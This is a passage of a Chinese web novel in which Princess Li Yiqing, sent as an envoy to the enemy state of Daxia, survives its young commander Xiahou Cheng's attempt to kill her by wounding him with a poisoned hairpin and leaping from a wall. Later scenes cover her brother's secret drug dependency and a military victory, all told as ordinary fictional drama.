盛大将军松了一口气，目光望着厚厚毡布下浅浅的一道缝隙，布满皱纹的脸上有些空洞地等待日暮降临。
入夜之后的草原和白日大有不同，草超过了脚踝，刺在肌肤上痒痒的。
轻装简行，李意清没有坐马车，而是和随行众人一样，准备骑马过去。
茅湛和她步行走到营帐外面，他知晓巡查布防，一路走得很顺畅，到了外圈，李意清看见前来接应自己的五百骑兵。
她在茅湛的搀扶上马，众人趁着夜色，驰骋在一望无际的草原上。
出发的时候满天星斗，到达的时候晨光熹微。
大夏接应的使团等候在城外，看见最前面一袭灿金色华袍的李意清，派人下去移开拒车木桩，朝她道：“大庆公主，我们主帅已经等你很久了。”
茅湛奉命全程看护公主，也代公主发言，闻言，道：“说好的八百战俘，尔等不会失信吧？”
使臣看着送行的五百人，眸光中闪过微光，笑着道：“怎么会，这就让人去放行。”
李意清在大夏使臣的接引下，踏入城墙上的一件阁楼。
原先这里作为战事重的歇脚之地，四方的空间，开着方口的窗户。
陈设简单，只有一张榻和一道帘子。
茅湛自然怒不可遏道：“我们公主与贵国洽谈，难不成就睡这样的地方？”
使臣面不改色：“阁下休怪！我们主帅也就睡在这样的地方。”
他眼中含着笑，像是带上了几分嘲弄，“我们大夏物质匮乏，比不得大庆物华天宝。”
茅湛听出他话中的阴阳怪气，本面色一沉，想要出手，可是一想到临行前盛大将军的嘱托，硬生生忍了下来。
李意清面色如常，像是并不在意自己在陋室抑或在仙京楼阁，她目光流转，落在使臣的身上，“不是说你们主帅亲自点名要找我吗？他人呢？”
使臣道：“不巧，本来主帅今日有空见你，只是君上派了人来，主帅正在接见。还请公主稍等。”
他说完，有人走到他身边附耳低声说了几句话，神色变幻，惊讶极了。
他道：“公主，我们主帅让你去外面等候。”
李意清想着早些解决早些结束，便立刻点了点头。茅湛十分沉稳，寸步不离跟在李意清的身后。
士兵拦住他，语气古井无波：“主帅只见公主一人。”
茅湛道：“这不成！”
使臣道：“两国洽谈机会是主帅向君上求来，若是你不愿意，便作罢吧。只是这机会来之不易，那八百人……”
受制于人，茅湛双目充血，却又无能为力。
李意清安抚他：“茅将军，不必担心。只要大夏不想与大庆彻底撕破脸皮，本殿自然安然无恙。”
旁边的使臣听出李意清话中的威胁之意，不置可否地笑了笑。
李意清跟在他的身后，走到了议事厅外。
使臣却没有停下脚步，一路直挺挺引着李意清走到珠帘帷幕后面的软榻上坐下。
她的出现短暂地打断了正在交谈中的两人。隔着帷幕，她依稀只能看见光影，却看不清人脸。
不过声音倒是很清晰地传入李意清的耳中。
下首的人道：“承将军，君上派我与你议事，你却还将别人弄到这里来，可是对君上不敬？”
使臣送她过来后就离开了堂中，李意清安静地听着场中两人的交谈，神情淡定。
方才那人对主帅的称呼为承将军，便是大夏国主以前的二皇兄之子，夏侯承。
他问完，半响没能听到高台
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回应。
下首的人忍不住复述了一遍自己的问话，高台上人不耐烦道：“听到了，你们君上若是看不下去，叫他过来就是！”
下首的人显然不知道夏侯承和国主交谈的时候大多针锋相对，乍然听到这样大逆不道的话，“你”了半天，没有下文。
这可是杀头的重罪。
可是很显然，夏侯承并不在意。
李意清倒是觉得，这嗓音有些耳熟。
听着像是十八九岁的少年，语气随意散漫，像是对什么都漠不关心。
李意清被勾起了一丝好奇心，静静地听着两人后续的交谈。
第一句失利，下首的人知道主帅不好惹，悻悻然换了话题，说起大夏国主派他过来的正事，道：“君上叫我来问承将军，为何非要大庆的公主？”
夏侯承“唔”了一声，像是十分诧异，“他连这一点都看不出来吗？”
语气之惊讶，讥讽之浓厚，便是大庆舌战群儒的文臣，都问不出这样的效果。
使臣青白着一张脸，心中颇为怨怼，但面上不显，只问：“还请承将军赐教！”
夏侯承笑了出来，笑声清脆，半响，才幽幽停下，冷冷反问：“你问了，我便就要答吗？”
李意清听下来，都觉得这位夏侯承，确实有些不好说话。
使臣被噎得心口疼，可是若不问清楚缘由，回去之后大夏国主可就不会玩笑说话了。
“大庆皇帝衰微，二皇子重创，五皇子被圈禁……说起威胁，倒是大皇子李序泽还算有些本事，收买人心很有一套，承将军为何要公主，而不要大皇子谈判？”
趁大皇子过来，就地格杀，大庆群龙无首，只剩一盘散沙，届时出兵一举攻占，大势已定。
他仔细思考着，却又说不上缺漏了哪一环，让这条逻辑线无法闭合。
夏侯承像是在吃什么东西，瓜果清脆作响，一阵香味传到里面，李意清分辨了出来——是胡瓜。
吃着胡瓜的夏侯承语气散漫，“他在大庆苦心谋划了那么多年，就没有信人告诉他。大庆的大皇子，如今只一个废人罢了吗？”
后面的声音悉悉索索，有人起身，有人俯身，交谈的声音犹如蚊子喃喃，李意清听不真切。
她满心都是夏侯承的话——大庆的大皇子，如今只是一个废人。
她回忆起这段时间和皇兄见面的次数，月影墙根下，马背上，营帐中……
他看着神色如常，一举一动，并无不妥。
究竟是夏侯承在危言耸听，还是大皇兄当真有意瞒住她，瞒住所有人。
李意清脑海中飞快运转，有婢女走到她的身边，“大庆公主，主帅累了需要休息，两国洽谈的事情，等主帅醒了再做决定吧。”
说完，直接上手，用力将李意清拽了起来，推攘着回到了先前见到的城墙方寸。
茅湛来回踱步，心急如焚，见李意清完整地回来，悬在胸口的心落了地，紧张道：“大夏主帅找公主洽谈了什么？”
李意清回望他：“我现在还没有见到大夏主帅的面。”
206. 铜铃日落
茅湛心中满腹疑问，既然没有见上面，怎地去了那么久。
不过他的疑问并没有来得及问出口，只听见李意清道：“大皇子李序泽，在你看来，与往日可有什么不同？”
茅湛在脑海中认真思虑一番，对李意清道：“大皇子为人亲善，仁德宽厚，身先士卒，与往日并无不同。”他说完，追问，“殿下缘何出此一问？”
李意清压低声音，简要将自己方才听到的内容讲了。
茅湛道：“大殿下吉人自有天相，依末将看，大夏主帅故意要你听到，只是希望殿下乱了方寸，投入他们的计划。”
他说的斩钉截铁。
真的只是这样吗？李意清在心中一遍遍提问自己。
她心中总是觉得不安。
后面的三日，大夏主帅再也没有提到她，只听闻主帅依照约定，已放回四百人，剩下四百人，等事情谈完再放走。
一日三餐只有热水和羊肉，羊肉腥膻，烤熟没烤熟纯看运气，三日下来，李意清整个人清瘦了一圈。
茅湛用牙齿撕咬着羊肉，味同嚼蜡，一边吃一边道：“真是奇了怪了，大夏主帅那么迫切请来殿下，现在却又像忘了殿下这号人，当真心思难猜。”
李意清不慌不忙，她站在城墙的方口窗户边，望着正在操练的大夏士兵。
远方一望无际，河谷浅滩，戈壁山影，一切清晰又模糊。
茅湛一口水一口肉，逼着自己干咽下去，“殿下，你多少吃一些，八成是大夏的这帮龟孙子，不敢动手，只想着饿死殿下呢。殿下你可千万挺住，别中了他们的诡计。”
他刚说完，外面一阵脚步声，人未至声先到：“大庆公主，我们主帅有请。”
李意清和茅湛对视一眼，茅湛松开手中还冒着血丝的羊肉，走到李意清的身后紧紧站着。
来的士兵不说话，像上次一样伸手挡在他的面前。
这是还不要他参与的意思了。
茅湛怒气瞬间被点燃，“既然洽谈，大夏却一再推阻，莫非是不想谈了吗？”
士兵满不在意：“上一战中大夏胜，若是大庆能胜出，自然有条件随意开。”
茅湛气愤，却无言以对。
李意清走在他的身边，伸手按在了他的衣袖上，晶莹的碎粉染在他的甲胄上。
她微微笑着，朝他摇了摇头。
他眼睁睁看着李意清像被押囚犯一样押走。
*
另一边，李意清并没有被带到上次议事的屋中，而是到了一处像是废弃城墙的地方。
她走了差不多半个时辰，眼前空旷，无人看守，残垣断墙，旌旗在风中猎猎作响。
将她带到后，士兵离开，只留下她一个人。
李意清一步一步迈上破旧的台阶，走到烽火台的时候，如血的落日光芒普照，一缕正好照在她的侧脸上。
侧耳听，耳边风声哀怨缠绵，像是诉说着这块地方曾经如何繁华，又如何衰败哭悲，断墙声，哭嚎声，哀鸿遍野，声声不绝。
落日半陷在地平线。
李意清伸手勾下一缕被风扬起的发丝，放眼望去，目光沉沉。
身后的城墙响起一阵有节奏的脚步声，李意清回眸望去，只见大夏的少年主帅笑意浅浅，琥珀色的眼眸中倒映着她的身影。
他走到她的近前，像是要仔细观察着她眼中的每一寸反应，很可惜，他并未能在她眼中看到意外。
沈林垂下了眼眸，再睁开已是夏侯承。
他没有去追问李意清为何丝毫不意外他的身份，而是和她一样转身去看落日，声音散在风中：“姐姐，我叫夏侯承，是大夏前太子独子。”
李意清可有可无地应了一声。
夏侯承又凑近了一些，近到可以看清她脸上细小的绒毛，在落日的阳光下泛着莹润的光泽。他的嗓音有些委屈：“姐姐，你怎么不看我？”
李意清转头看向他，曾经瘦弱的少年像柳树抽条，长得已然比她高大，她需要微微抬头，才能将夏侯承脸上的表情尽收眼底：“你有什么好看？”
夏侯承一噎，半响，胸腔中闷声笑着：“姐姐，你以前不会这样说话。”
“是吗？”李意清一边说着，一边伸出手去，摩挲着指尖，动作轻柔地像是要挽留一缕晚风。
夏侯承望着她的指尖，忽然想起那个海边睁开眼的黄昏。
一切都是暗淡的，光只存在毫厘之间。
李意清将最后一点细碎的粉末散入空中，任晶莹落在地上。
夏侯承安静地看她伸出手，直至最后一丝光隐入地平线。
“姐姐。”夏侯承又开口喊了她一声。
黑夜之中，他的表情并不像方才那般从容镇静，而带上一种隐秘的悲伤。
情绪来得快去得也快，夏侯承扬起嘴角，像是一个天真无邪的孩子：“姐姐就不想知道，我想找姐姐谈什么吗？”
李意清望着他，反问：“我问了，你就会告诉我吗？”
夏侯承歪了歪脑袋，眼中带着一丝戏谑的笑意，“不知道。姐姐不如试试？”
他等了一会儿，见李意清没有开口的打算，自顾自道：“虽然姐姐不问，我还是想要告诉姐姐。”他的目光落在李意清的身上，带着林中大雪一般的冷意，像是慨叹一般低声喃喃，“姐姐，你不应该来的。”
“你来了，我一定不会让你活着回去的。”
夏侯承语气带着几分不舍，干净纯澈的眼眸中飞快闪过一丝缺憾，却在回首的刹那拔出腰间的利剑。
剑光森冷冰寒，争鸣不休，和风吹旌旗铜铃的声音相呼应，凄美而肃杀，悲壮而惨烈。
他虽然对现在的大夏国主并无半分好感，但他的身后不仅有大夏的皇室，还有大夏的子民。
西北凛冽霜雪，他身为夏侯氏族，就有责任给子民最好的一切，包括资源与土地。
夏侯承目光清明，剑头指着李意清，歪着脑袋笑了笑：“姐姐，放你回去的代价太大了，你必须永远留在这里。等你死后，大夏一统两国，便不会再有战事陡起。”
李意清看着一步步靠近自己的长剑，一步步往后退去。<
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p>她望着夏侯承决绝的目光，忽然想到了茅湛和她说的话——既然主帅和殿下相识，说不定，不会对她出手。
李意清在脑海中回忆了一番和沈林相识的点点滴滴，摇头否认，重新计划了部署。无论何时，她都不会将自己的希冀，寄托在对方的一念仁慈之中。
茅湛望着她，第一次对身娇体贵的公主有了清晰的认知。
他听到自己的嘴唇开合：“若殿下身为男儿，当真是储君极好的人选。”
说完，他自知失言，遥望夜空，默默不语。
李意清的脊背已经抵靠到了城墙，城墙衰败，往下便是数丈空地。
一颗碎石从城墙上掉了下去，久久才听到坠地的声音。没有树木的遮挡，掉下去必然粉身碎骨。
她背靠在城墙上，剑尖已经抵在脖颈。
利剑锋利，轻轻抵着脖颈，划开一道锋利的口子，血色溢出，落在白皙细腻的肌肤上，像是白玉上的一点猩红。
李意清很痛，痛到几乎在发抖，再有一点，利剑就会毫不迟疑地割断她的动脉，彻底杀死她。
她还不能死。她还没有等到茅湛带人过来，她没有弄清楚皇兄身上发生了什么，她还有许多话想与元辞章说，她怎么可能就这样悄无声息地死在大夏的废弃城墙上。
“夏侯承。”李意清望着银光冷冷的剑，伸手握住了长剑。
掌心被剑刃划破，血顺着血线一滴滴淌下，她却像是感觉不到疼痛，微微扬起一抹笑，“你为了你的国家，我为了我的国家，这样做，倒是叫我有几分敬佩你。”
夏侯承的视线落在一滴滴留下的血上，蹙了蹙眉。
“我行事，并不需要他人认可。”
李意清感觉到剑刃微微松动，脑海中飞快运转。
如果能抢到这把剑，说不定还能有一线生机。
李意清握着剑，一寸寸向后移动，浓郁的血色染红剑身，红得亮眼。
夏侯承心想，原来一个人，可以流出这么多的血。
真想快点结束这一切，他看得很不舒服。
相对应地，李意清的脸色欲发苍白，唇色更是无限趋近于白。
夏侯承望着她，像是望着困兽最后的缠斗，他语气费解，认真道：“拼死反抗，毫无意义。原先，我没打算让你受这样的苦。我出剑极快，无论如何，你曾经救我。”
“只需要一瞬，你就再也不会感觉到疼痛。”夏侯承叹息，“可是你怎么那么固执，垂死挣扎，做徒劳工。”
血液的流逝带走了李意清部分的意志，她狠狠咬住自己的下唇，勉强道：“求生而已。”
夏侯承一个恍惚，竟然觉得她的眼神像火焰一样炙热，几乎灼烧他睁不开眼。
李意清打消了继续争夺长剑的打算，她失血过多，已经无力再挥剑斩击。
她鲜血淋漓，狼狈不堪。反观夏侯承，一身甲胄，背后日暮渐浓。
李意清的视线渐渐模糊，她有些模糊地想——
如果今日注定陨落于此，那么最后一刻，她总要让对方付出一点什么。
207. 绿竹新生
李意清像是下定了决心，猛地向前扑去，半个肩胛骨没入长剑中。
夏侯承猛地瞪大眼睛，几乎是不敢相信，濒死之人居然还能爆发出这样的力量。
就在他愣神的一刹那，一道尖锐的痛意从胸腔上蔓延。
他低头看去，一根鎏金的簪子狠狠刺入他的胸腔，若不是长度有限，几乎将他心口捅了一个对穿。
夏侯承被痛意支配，用力一推，李意清像是一片失去水分的树叶，被大风随意抛起，又随意坠落。
力的作用相互，李意清原本光洁白皙的手已经没有一块好皮。
冷汗从额头上缓缓落下，夏侯承能感受血慢慢开始浸透衣衫，他抿唇笑了笑，眼神只剩下一片森冷的杀意，“姐姐，好狠心。”
是他过分大意，没有身披盔甲，认为杀一个人不过轻轻松松，何况是个手无缚鸡之力的弱女子。
李意清半摔倒在地上，小口小口地吸着气，有些庆幸自己在永定陵开始就跟在洛石身后强身健体，否则这一摔，就算没死也差不离了。
她既然活不下去，夏侯承也决不能活在这个世界。
夏侯承没有心思继续周旋，她明明已经重伤，却还能爆发出这样的力气，谁知道她的极限在哪里。
夏侯承捂着胸口站起身，准备去捡那把落在地上的剑。
他弯腰的动作陡然一顿，耳尖微微一动，他听到了城楼下的马蹄声。
夏侯承本能反应般站直身体，朝着城墙远眺，只见乌压压的大庆军队从这边以势不可挡的架势冲来。
夏侯承面色一变，这边城墙废弃已久，怎么大庆的军队像是早有预料一般，直挺挺朝着这边冲来。
城墙上，响起一阵有节奏的跑步声，士兵走到夏侯承的身边，语气中满是惊慌，“主帅！大庆打过来了！来者甚众，超过三万。”
他的视线下移，落在夏侯承捂着的胸口上，瞬间脸色更加苍白，“主帅，是谁伤了你！”
夏侯承的战术在还没被大庆破解之前，是当之无愧的大夏战神，只要他在，无论现在的情况有多么糟糕，总还能有一线希望。
夏侯承却没有理会士兵的惊慌，他暗自在心中盘算，三万人有预谋地朝这边而来，如果没人通风报信，他打死都不会相信。
可是来废城墙是他临时起意，谁又能未卜先知。
夏侯承脑海中飞速转动，旁边的士兵心惊胆战，伸手搀扶他，“主帅，你快别说话了。属下带你离开！”
他伤在心口，必须及时就医，不能留下后患。
“等等，”夏侯承拦住他，语气一字一句，“你去，杀了大庆公主。”
两人同时回眸望去，只见原先李意清躺着的地方只剩下一滩血迹，顺着血迹往上看，只见李意清已经趁两人说话的功夫爬上了城墙。
她颤巍巍地站在城墙上，像一根随时会断的线。
夏侯承愣了一刹，瞬间反应过来，目眦欲裂大吼道：“快！”
士兵不敢迟疑，立刻拔剑冲了上去，几乎在扬起的同时，李意清纵身往城墙下一跃。
扬起的剑刃堪堪擦过李意清飘起来的衣角，削下一片灿色的金纱。
夏侯承愤怒地仰头吼叫，士兵瑟瑟发抖，咽下口中的唾沫，毫无作用地安慰道：“主帅，城墙高四丈，便是身上没有伤，从这个高度摔下去，也断然活不了——”
快速下坠的李意清大脑中一片空白，血液快速流失和肩膀上的痛都变得浅淡起来，她努力想要睁开慢慢涣散的眼眸，望着星汉缓缓流转，等待自己重重坠在地上，支离破碎。
预想中的疼痛并没有传来，她落入了一个温暖的怀抱。
干净，纯粹，带着空山幽谷，绿竹新生的气息。
眼角余光中，是元辞章借力踏马，马被重重甩出数十步，倒在地上嘶鸣的景象。
她累得再不能开口，倒在安心的怀中昏迷过去。
元辞章与其说抱着李意清，不如说轻轻托着李意清。他托着李意清，目光落在紧随其后策马奔来的李序泽身上，两人擦肩而过。
李序泽瞥到奄奄一息的李意清，按捺住心中滔天的怒意，从背后的箭筒中取出一支羽箭，搭箭上弓，朝着城墙上依偎扶持逃离的夏侯承和士兵射去。
“咻——”
破空声传来，以势不可挡的架势朝着城墙而去，危急之下，夏侯承拉过扶着他的士兵，挡在了自己面前。
士兵双眼瞪得老大，还没有反应过来，就看见自己胸膛前宛如凭空冒出来的一截箭头。
他嘴巴动了动，想要说些什么。下一刻，脖子一歪，彻底断绝了生机。
夏侯承不敢去望城墙底下箭射来的方向，箭矢射穿一人，可想而知底下射箭之人此时心情有多激愤。
他一手捂着胸口，一手举着已经死绝的士兵掩护自己，顺着城墙一路往里面逃。走动时胸口伤口被扯动，他疼得呲牙咧嘴，低头一瞧，脸色猛地僵硬。
金簪被削得尖锐锋利，刺进去的皮肉外翻，血色变得黑浊，连肉都已经变得青紫……
*
门帘被人掀开，外面的雨声哗啦啦地钻进来，李序泽和盛大将军、盛蝉一道来看望重伤中的李意清。
盛大将军进帐后使劲跺了跺脚，抖去一身的水汽，引来盛蝉的怒目而视。
“意清需要休息，你若安静不下来，趁早出去。”
盛大将军理虚，瞥了一眼众人的脸色，没有说话。
盛蝉走到元辞章的身边，“你守着意清一天一夜了，换我照看片刻，你先去洗漱。”
李意清身上带血的灿金色华袍被换下，换上一身干净舒适的宽松袍子，可是他还维持着回来那天的衣裳，干了的血迹褐色连片，狼狈不堪。
盛蝉嘴上没说，心底却诧异得很——谁见过元侍郎这般狼狈。
元辞章垂眸看了一眼身上的血渍，轻声道：“有劳。”
声音沙哑得吓人。
盛蝉念及元辞章是因为李意清才弄成这副模样，面色和缓，对
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他道：“炉子上给意清煲了汤，你也喝些，免得意清醒过来，你却倒下了。”
元辞章微一颔首，和李序泽对视一眼，两人一道出了帐子。
帐子外面落雨如瀑，草地浸着水，一脚下去，鞋履也湿了半边。
元辞章低头看了一眼李序泽浸泡在水里的脚，缓缓上移，抬眸注视他的眼睛。
李序泽不自在地偏过头，回避了他的眼神交流。
他像是想要
两人走入隔壁的帐子中，元辞章舀了一瓢水倒入铜盆，拧干帕子后一点点擦去身上的灰尘。
李序泽看了一会儿，掀开帘子朝着外面望去，雨幕声势浩大，乌云黑沉沉一片，颇有几分黑云压城城欲摧的即视感。
雨最易催生思绪，他望着雨水滴滴答答，语气满是缺憾和不甘：“只恨没能射中那大夏主帅，取他性命。”
元辞章用帕子擦了擦自己的脸，伸手解开自己的外衫，脱下那一身黑褐交织的白色衣裳，换上崭新的衣袍。
“殿下不必担心。”他配好腰带，回眸看着李序泽，意味不明道。
李序泽望着他，明明他才刚到西北，却像是比他一个久居西北的人还要能看清局势。这次大军大胜而归，多亏元辞章带着荆楚过来的五万将士，随行粮草银两一应俱全，可以说将他在朝堂中能做到的一切都做到了极致。
元辞章不知道李序泽再想什么，饮食种类不多，他拿了一个炊饼，就着热水吃完后，对他道：“我先去照看意清了。”
李序泽望着他对什么都不关心的背影，忽然高声问：“你是什么时候知道的？”
他问完，察觉到自己这么大声很不合适，立刻压低了声音：“你什么时候……知道我腿的事情？”
他的腿被火烧后，一直患有隐疾，每到刮风下雨的天气，腿疼就会发作，犹如千万只蚂蚁钻心蚀骨。后来又遇上京城变故，不能好生休养，情况每况愈下，为了不让别人担心，他暗自服用寒食散，以缓解腿上疼痛。
可是寒食散治标不治本，从前服用还能起效，现在效果越来越微弱，等彻底不起作用的时候，他的腿怕是站起来都困难。
元辞章半侧过身，一只手浅浅搭在帘子上，“不久。殿下做的隐蔽，采买皆用专人，只是微臣恰好从事银钱采买。”
李序泽久久不语。
元辞章道：“殿下还是找个时间，好生与意清说清楚这件事吧。我可不希望被意清当成伙同你一道瞒住她的帮凶。”
李序泽心中本百感交集，听到元辞章冷淡的嗓音，却是气笑了，“我还以为你担心我？原来你是在担心这个？”
元辞章好整以暇地看着他，神情淡然如画中仙，眉眼微微上挑，像是在问：不然呢？
李序泽：“……”
他不再自讨无趣，摆了摆手，“这件事，等意清伤好了，我自会好生与她说。用量，我心中有数。”
李序泽故作轻松地笑了笑：“不过区区寒食散，想要戒断，又有何难？”
208. 大战告捷
他说的轻松，但是脸上的神情出卖了他。
毕竟，那可是寒食散。
多少人因为寒食散成瘾，倾家荡产，疯癫不堪。没有钱买寒食散的瘾君子，横卧街头，犹如受酷刑翻滚嚎叫，求生不得，求死不能。
元辞章望着他眼底的挣扎，微顿，道：“微臣和意清相信殿下。”
虽然李意清还在昏迷，但是如果她是醒着的，一定也会对李序泽说同样的话。
李序泽怔在原地，微微弯腰，伸手抚摸着自己的膝盖。
入夜后，雨势越来越小。
盛大将军坐在帐中，信心大增，荆楚调来的军队，极大地鼓舞了士气。
行军在外，粮草先行。有元辞章在户部斡旋，暂无后顾之忧。
唯一让他不爽快地，是盛蝉带着她手底下的亲兵，走到他的面前，表面上是商议，实则通知般道：“父亲年岁已高，许多战场事情突变，不能及时与父亲报备，等您抉择，还请父亲海涵。”
盛大将军有些郁闷，想到躺在床上不省人事的李意清，讪讪闭嘴。
他望着盛蝉，第一次感觉到这个和元配发妻的孩子，虽然是女儿身，但却是最像他的。
如果不是荆楚之地来的军队不服她的威望，还需要他这尊“大将军”镇着，估计盛蝉都不愿意来走这一趟。
盛大将军望着盛蝉，语气沉稳问：“你接下来有什么部署？”
盛蝉道：“雨停，夜袭，复银带先锋小队干扰视线，后方由我带兵包抄。张柏在外圈带人接应。”
她说的简明扼要，盛大将军噎了一下，才将口中的“胡闹”咽了回去。
盛大将军问：“带军几何，走何路？用时几许？两手准备？这些你可都想清楚了？”
盛蝉有些奇怪地看着盛大将军，“这些我自然会同复银和张柏商议，大将军只需坐在帐中，坐等大军凯旋。”
盛大将军还有话想说，被旁边跃跃欲试的盛复银打断，“是啊父亲，你就让姐姐做决定吧！她与我们说了这次的计划，很周密，定然不会有事。”
他摩拳擦掌，心中升起一股强烈的渴盼，上阵杀敌，保家卫国，建功立业。
不知道是不是父亲年纪大了，做事越发瞻前顾后，优柔寡断。
可现在时机正好，大夏主帅受伤，士气必然低迷，况且今日大雨，谁能想到夜半时分有人偷袭，必然方寸大乱。
盛大将军看着完全和盛蝉站在同一战线的盛复银，袖中手握成了拳头。
看来训练还是轻松了，以后还得给沙袋加重。
盛大将军在心中恶狠狠地提高了盛复银和盛复西的训练强度，面上沉肃道：“此行危险，行事一定担心，遇事不决，速速回报于……速速报给盛将军。”
盛蝉眼中真心实意流露出一丝笑：“多谢父亲。我和复银，必不负父亲重托！”
大军趁夜出动，脚步声阵阵。连睡梦中的李意清都像是有所感觉，颤颤巍巍睁开眼睛。
她身上还痛得厉害，手被包成了球，肩膀巴扎得厚厚一层，动弹不得。
元辞章一瞬不瞬看着她，见她醒来，眸中第一次流露出实质性的庆幸。
是喜悦，是庆幸，还有一丝被隐藏得极好的后怕。
天知道李意清像一片枯叶蝶般落入他怀中的时候，气息几乎可以忽略不计，身上绽放着一朵朵血花，荼蘼又凄丽。
那是他距离自己仿佛要失去李意清最近的一次。
李意清见元辞章一瞬不瞬盯着自己，心中揣测他会想些什么。太多了，也许是汾州，也许是这次在皇兄的极力劝阻下还是毅然决然去了大夏……
她还病着，脑袋实在算不清，索性干脆不想了，努力想要抬起被包成一团雪白色球的手，引起元辞章的注意。
“元辞章，我饿了。”
她的声音沙哑，委屈又可怜。
元辞章的心忽然抽痛了一下，鼻尖酸涩。他伸手按住李意清不肯安分的手，将她的脑袋垫高了一些，端来热汤一勺一勺喂给她。
温度正好入口。
李意清乖乖张嘴，一口接着一口，吃得满足。
吃得开心的时候，她的眼角眉梢会轻轻翘起，把自己的好心情写在脸上。
元辞章喂完一整晚汤，见李意清依旧睁着湿漉漉的眼睛，对她道：“先缓一会儿。”
她刚醒来，一次性不能吃太多。
李意清有些遗憾地“哦”了一声。
等元辞章用水将碗洗干净，走到她身边坐下，李意清方才如梦初醒，问：“现在什么时辰了？”
“还有两刻钟，便是卯初。”元辞章伸手将她的发丝捋到耳后，现在她手被包成球，这些简单的小事都做不来。
李意清登时便想爬下床去掀开帘子探头张望，“都已经卯初了？怎么天色还是黑的？”
元辞章虚虚按住她，制止了她的行动，解释道：“这两天天色不好。”
李意清：“怪不得。”
她动作老实了下来，倒不是因为元辞章的压制，而是刚刚一个起身，扯到伤口，痛得她差点没哭嚎出来。
原先躺着还算轻松，现在就连躺着都痛。她一声不吭地捱着痛，泪珠在眼眶里面直打转。
她还是没忍住，小声地、带着哭腔道：“元辞章，我疼。”
元辞章伸手，在她惊恐的视线中伸手搭在她的胳膊上。
“哎哎哎……哎？”
李意清眼中对疼痛的惊恐变做诧异。元辞章的手掌温热，也不知道他是怎么按摩的，丝丝缕缕的热意顺着胳膊游走，瞬间舒服了不少。
这样揉，不消一会儿就会手酸，可元辞章没说，李意清也就随他继续揉按。
李意清身上的痛意减轻，心情好了不少，她时不时瞥一眼帘子方向，像是等待什么人。
元辞章看出她的小动作，却没有点出。
等待的时间太过无聊，李意清忍不住看向元辞章，想问他那天有没有看见她面对大夏主帅临危不惧，镇定自若的样子，可是又想起自己毫无把握从城墙一跃而下，若不是元辞章疾冲过来自己已经没了，又不敢多嘴了。
她怕被元辞章训斥。
设身处地，如果知道元辞章这么对待自己身体，她只怕是会气疯。现在元辞章还愿意温着性子照顾她，她还是不要自己往枪口上撞为妙。
期间李意清昏昏沉沉又睡了一觉，再醒过来的时候，外面一阵欢呼。
许三直挺挺冲了进来，脸上的喜色怎么都掩盖不住。
“公子，殿下，大夏的
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主帅死了！”
李意清终于听到自己一直想听到的消息，闻言，彻彻底底松了一口气。
她险些付出了性命的代价，若是夏侯承能够大难不死，她的辛苦岂非白费。
所幸，沿途的金粉标志，淬毒半年的鎏金发簪，都没有浪费。
李意清心中高兴，脸上却矜持：“你这般高兴，我还以为大获全胜了。”
“嘿嘿，”许三挠着脑袋，笑容满面，“大夏没了主帅，群龙无首，现在已经自乱阵脚，盛将军和复银将军带兵包抄，已经连下两座城池！”
李意清再也维持不住心中的喜悦，眼睛亮晶晶地看着元辞章。
“元辞章，你听到了吗？你听到了吗！”
首战告捷，两座城池。
元辞章看着要不是被纱布缠住，估计下一瞬就能鲤鱼打挺一样从床上翻起来，伸手摸了摸她的脑袋，“听到了，听到了。别乱动，手不要了？”
李意清不假思索：“如果天天都能听到这样的喜讯，便是手残废了，也没什么可惜。”
元辞章：“……胡说什么。”
第三日午后，大军班师回朝，喜气洋洋。
盛复银第一次带兵，回来见到众人像等待英雄一般聚在营地前欢呼，稚嫩的脸上嘴角越咧越大，爽朗的笑声回荡在天地之中。
众人理解，却不代表盛大将军也愿意惯着他。盛大将军向他的身后望了一眼，沉声问道：“你姐……盛将军呢？”
盛复银从马背上跳下来，走到盛大将军的身边，“姐姐攻下两座城池，正在安置城中百姓，布置兵防。”
盛大将军：“还算她有点脑子，没有误事。”
他脸上还是一如既往的严肃，不过大战告捷，众人嘻嘻哈哈，没有人在意盛大将军还板着一张脸。
项将军道：“大将军，你女儿巾帼不让须眉，怎么还愁眉苦脸？”
旁边众人纷纷附和，连荆楚来的将军也不禁道：“就是。本以为你家小郎君长成还需要年岁，西北恐寥落无人，现在看来，当真虎父无犬女啊！”
众人开着玩笑，享受着大半年来最放松的一个午后。
盛大将军眉眼上挑，高兴得连胡须都颤了起来，眼底是不容忽视的自豪和骄傲，嘴上却道：“小女还年轻，懂什么，日后还需要诸位帮扶提携。”
张柏也随大军归来，他和诸位将士见礼后，走到李意清的身边，“殿下，将军有东西要交给您。”
李意清顺着他身后望去，看见后面的士兵怀中抱着一只两个月大小的小马驹。
“将军说，这是数十头追风驹里才能得一头的赛风驹，等赛风驹长大，殿下就可以骑着赛风驰骋北地，再无阻碍。”
小马驹的毛还是弯曲的，被士兵抱着，不慌不怕，睁着水灵灵的眼睛打量着这个世界。
李意清想起出来西北那日，盛蝉一手抱着鱼，一手指着河山，对她许下的豪言壮志。心中微动，注视着赛风驹的脊背，莞尔：“好，我等着那天。”
几步开外，盛复银朝着盛大将军挤眉弄眼，“父亲，这样好的马驹，姐姐怎么不给你？”
盛大将军只望了一眼，便强迫自己收回视线，酸溜溜地哼哼道：“不过一头小马驹，本将军难道还缺一匹好马了？”
209. 老狐狸
盛复银哈哈大笑，却不拆穿盛大将军眼底的艳羡。
李意清吩咐人好生将小马驹照看，眼前的草原碧海波涛，天空碧蓝如洗，像是一幅画卷。
元辞章看着李意清弯弯的眉眼，又瞄了一眼满腹心事的李序泽，给了许三一个眼色，将空地留给两个人。
他刚走几步，忽然被李意清抬声喊住。
“元辞章，你先别走。”
元辞章脚步一顿，眼角余光望向身旁站着的许三。许三避而不见，一声不吭地加快了脚步。
小没良心的。
元辞章微微垂眸，转过身，走到李意清的身边站定。
李意清伸手，两人十指交缠，握在一起。
“皇兄这几日像是有话要和我说，趁我现在心情好，一道走走？”
李序泽没能从元辞章面无表情的一张脸上读到任何有用的信息，只能硬着头皮走到李意清身边，“……今日你心情好，皇兄不想扰了你的好兴致。”
李意清的脸上短暂出现了一丝裂痕，旋即洒脱地摆了摆手，“我绝不生气。这样可以了吗？”
李序泽谨慎地打量着她，像是要验证这句话的可信度，“……此地人多眼杂，我们换个地方说。”
三人回到李意清的营帐，李序泽一路上做心理建设，踏入后，心中忽然升起强烈的不安——如果告诉了李意清，她心中一定害怕和担心。
他思绪瞬间方寸大乱，空茫茫不知所言。
“皇兄，”李意清在喊他，“你到底要说什么？”
